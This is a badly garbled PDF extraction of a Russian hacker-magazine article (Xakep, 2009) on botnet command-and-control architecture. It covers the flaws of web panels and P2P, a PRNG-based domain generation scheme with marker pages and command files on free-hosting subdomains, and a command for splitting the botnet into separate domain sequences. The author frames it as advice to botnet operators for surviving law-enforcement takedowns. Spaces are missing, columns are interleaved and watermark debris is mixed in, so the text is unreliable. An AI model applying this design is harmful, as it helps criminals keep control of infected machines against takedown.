стьюоткрыта». p2p—достаточноинтереснаясхема,которая Втораяпроблемавозникаетсмасштабомботнета. имеетправонажизньприбольшихботнетах.В
Огромноеколичествоботовневыдержитниодин |
нейпреимуществомслужитто,чтонагрузкапо |
|||
сервак,апоставитькластерсраспределителя- |
передачекомандлежитнасамихботах.Минусовв |
|||
минагрузкиутебянеполучится,потомучтоэто |
нейтожехватает: |
|||
слишкомсложноидолго.Даидажеесливсебудет |
|
|||
готово,—придутфедералы(ятакбудуназывать |
• Сложность архитектуры |
|||
|
|
|
|
• Нестабильность сети |
|
|
|
|
• «Палевность» открытия портов |
|
|
|
|
|
|
Граждане! |
|
|
• Сложность контроля |
|
|
|
• Сложность отдачи результатов от |
|
|
|
|
|
ботов |
|
Хочуобратитьсякразнымслоямобщества, |
|
|
• И многое прочее... |
|
читающимэтустатью. |
|
|
|
|
||||
|
Кмилиции: нестоитьвсевоспринимать |
|
|
Управлениеботнетомпоweb'у—покасамый |
|
всерьез, этолишькартинкисмоегоболь- |
|
|
идеальныйвариант.Кпримеру,возьмемZeus.У |
|
ногосознанияисудитьменянельзя:). |
|
|
неговконфигепрописываемосновнойдомен,где |
|
Ксоздателямнебольшихботнетов: |
|
|
админкаидополнительныйдомен(еслипервый |
|
советуювнедритьнекоторыемоментыв |
|
|
сервакнакроется).Ноеслизавтработовбудет |
|
архитектуруботнетов. Поможетвбудущем. |
|
|
много,онилегкоположатсервак,аеслисервак |
|
Кпрофессорамиакадемикам: можнолина |
|
|
ивыдержит,топослезавтрапридутфедералыи |
|
этихидеяхзащититьдокторскуюдиссер- |
|
|
прикроюткакосновной,такидополнительный |
|
тацию? Илизащищаютсятолькопотеории |
|
|
домен,послечегоужевосстановитьуправление |
|
коммунизма? :). |
|
|
неудастся.Этасхемаабсолютнонеподходитдля |
|
|
|
|
большихботнетов. |
|
|
|
|
|
ГЕНЕРАТОРДОМЕНОВ
Каквизвестномфильмелегкимдвижениемруки штаныпревращаютсявшорты,такимыможем бесполезнуюсхемупревратитьвидеальную.Иклю- чеваяидея—вдинамическойгенерациидоменов, черезкоторыеботбудетобщаться.Генерировать доменыбудем,используягенераторпсевдослучайныхчисел(ГПСЧ).Еслитынезнакомсним,посмотри врезку—тамявсекороткоописал.Длянасважна однафишка:еслинавходгенераторадатьчисло 1234,генераторможетвернуть:6452,12,761ит.д.И сколькобыразинакакомкомпьютереэтониповторяли,всегдапоследовательностьбудетодинакова. Исходяизэтого,мыможемнаписатьфункцию, чтобудетиспользоватьгенераторпсевдослу- чайныхчисел,иеслипередатькакое-точислона генератор,онсможетсгенерироватьслучайную бесконечнуюпоследовательностьдоменов.Нам лишьнужнодлясинхронизациивсемботампередатьодинаковоеначальноечисло.Сучетомвсех замечанийпринципработыбудетследующим:
•Генерируем псевдослучайный домен
•Проверяем, есть ли на главной странице домена какой-то определенный текст — маркер
•Если маркера нет, — возвращаемся к первому пункту
•Если маркер есть, то получаем команду для исполнения
Окончанияжедоменовнегенерируетсяполностьюслучайно,авыбираютсяизмассива,который можетсодержатькакобычныеокончания,таки окончаниябесплатныххостингов.Чемсписокбу- детбольше—темлучше.Онможетвыглядетьтак:
.com
.org
.ho.ua
XÀÊÅÐ 08 /128/ 09 |
057 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
||
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
|
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
||||
w Click |
|
BUY |
>>m |
||||||
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
. |
|
|
|
|
|
.c |
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
||
|
|
|
|
-xcha |
|
|
|
||
взлом
Controlling |
|
Server |
Bot Infection |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
IN RESPONSE TO THE COMMANDS FROM
A MALICIOUS USER, CONCURRENT ATTACKS TO TARGETING SITE BEGIN
HTTP://WWW |
links
• Хорошее |
описание |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
RSA- |
|
|
протокола |
|
: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
ru.wikipedia. |
|
org/wiki/ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
RSA |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
• Немногоогенерато- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
рах |
псевдослучайных |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
Malicious |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
чисел: ru.wikipedia. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
User |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
org/wiki/Генера- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
тор_псевдослучай- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
ных_чисел. |
СКРИН АДМИНКИIRC-БОТНЕТА |
|||||||||||||||||||||||||||||||
• Оботнетах: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
ru.wikipedia.org/wiki/ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
Ботнет. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Псевдослучайные числаи |
|||||||||||
|
|
Генераторпсевдослучайныхчисел(ГПСЧ, англ. |
INFO |
БОТНЕТМОЖЕТБЫТЬ КРАСИВЕЕ, ЧЕМ |
Pseudorandom number generator, PRNG) — алгоритм, |
ЭЙФЕЛЕВАБАШНЯ |
генерирующийпоследовательностьчисел, элементы |
|
|
|
которойпочтинезависимыдруготдругаиподчиняются |
|
|
заданномураспределению(обычноравномерному). |
|
Где«.ho.ua»—обычныйбесплатныйхостинг.Еслионпопадет |
Современнаяинформатикаширокоиспользуетпсев- |
info |
впоследовательность,тонамдажененужнобудетпокупать |
дослучайныечиславсамыхразныхприложениях— от |
RSA (буквенная |
домен,апростобесплатносебезарегаемподдомен.Этого |
методаМонте-Карлоиимитационногомоделирования |
аббревиатураотфа- |
будетдостаточно.Бот,послепроверкимаркера,должензапра- |
докриптографии. Приэтомоткачестваиспользуемых |
милийRivest, Shamir |
шиватьопределенныйтекстовыйфайлик,кпримеру,temp123. |
ГПСЧнапрямуюзависиткачествополучаемыхрезуль- |
иAdleman) — криптог- |
txt,иоттудабратькомандудляисполнения.Говоряозадаче |
татов. Этообстоятельствоподчеркиваетизвестный |
рафическийалгоритм |
управления,унастожеестьтакойжегенератор,какубота,имы |
афоризмРобертаР. КавьюизORNL (англ.): «Генерация |
соткрытымключом. |
можемполучитьпервыйдомен.Далеепробуемегозарегать |
случайныхчиселслишкомважна, чтобыоставлятьее |
RSA сталпервымал- |
(еслинеполучилось,—забиваемнанего).Беремвторойдомен |
наволюслучая». Каждыйгенератор— этоизвестная |
горитмомтакоготипа, |
споследовательности;еслиполучилосьегозарегать,товстав- |
функция. Еслиейдатьнавхододночисло, тоонавернет |
пригоднымидля |
ляеммаркернаглавнуюстраничкуисоздаемфайликtemp123. |
другое. Ещеможнорассматриватьгенератортак: мыему |
шифрования, идля |
txtскомандой.Есликогда-нибудьпотеряемдоступкдомену |
навходдаемлюбоечисло, аонвозвращаетбесконечную |
цифровойподписи. |
(илиабузапридет,федералыотберутит.п.),тогенерируемтре- |
последовательностьчисел, чтокажутсяслучайными. |
Алгоритмиспользу- |
тийдомениужетудапомещаемкоманду.Тоесть,втакойсхеме |
|
етсявбольшомчисле |
перекрытьдоступкботамневозможно.Ведьеслинамзакроют |
|
криптографических |
миллиондоменовспоследовательности,мыпоместимкоманду |
командыуправлениянаних. |
приложений. |
намиллионпервом,иботывсеравнонайдутэтотдомен. |
Такмысможемделитьнашусистемунаскольугодномногоне- |
|
МАСШТАБИРУЕМОСТЬ |
зависимыхучастков.Иужекаждомуучасткузадаватькоманду. |
|
Такжемыможемдатькомандуслиться: |
Посколькудляуправлениямыиспользуемобычныесерваки, тобыстростолкнемсяспроблемаминагрузки,исервакстанет медленно,новернозагибаться.Поэтомубылразработансле- дующийвариант—разделениеботнетанаподсети.Разделе- ниеделаетсякомандами—ботстучитнасерверичитаетоттуда приблизительнотакуюкоманду:
WARNING |
warning
Всяинформацияпредоставленатолько дляознакомительных целей.
разделиться: 3001-3004
Чтобуквальнозначит:выбратьслучайнымобразомчислоот значения3001до3004ииспользоватьегодлягенерациипоследовательностидоменов.Такмыразделяемботнетна4части, иукаждойтеперьбудетсвояпоследовательностьдоменов.
Соответственно,онибудутстучатьсянаразныесервакиза командами.Анамостаетсялишьзарегистрировать4новыхдомена(поодномудлякаждойпоследовательности)ипоместить
ПРИМЕРИСПОЛЬЗОВАНИЯRSA-ПОДПИСИ
058 |
XÀÊÅÐ 08 /128/ 09 |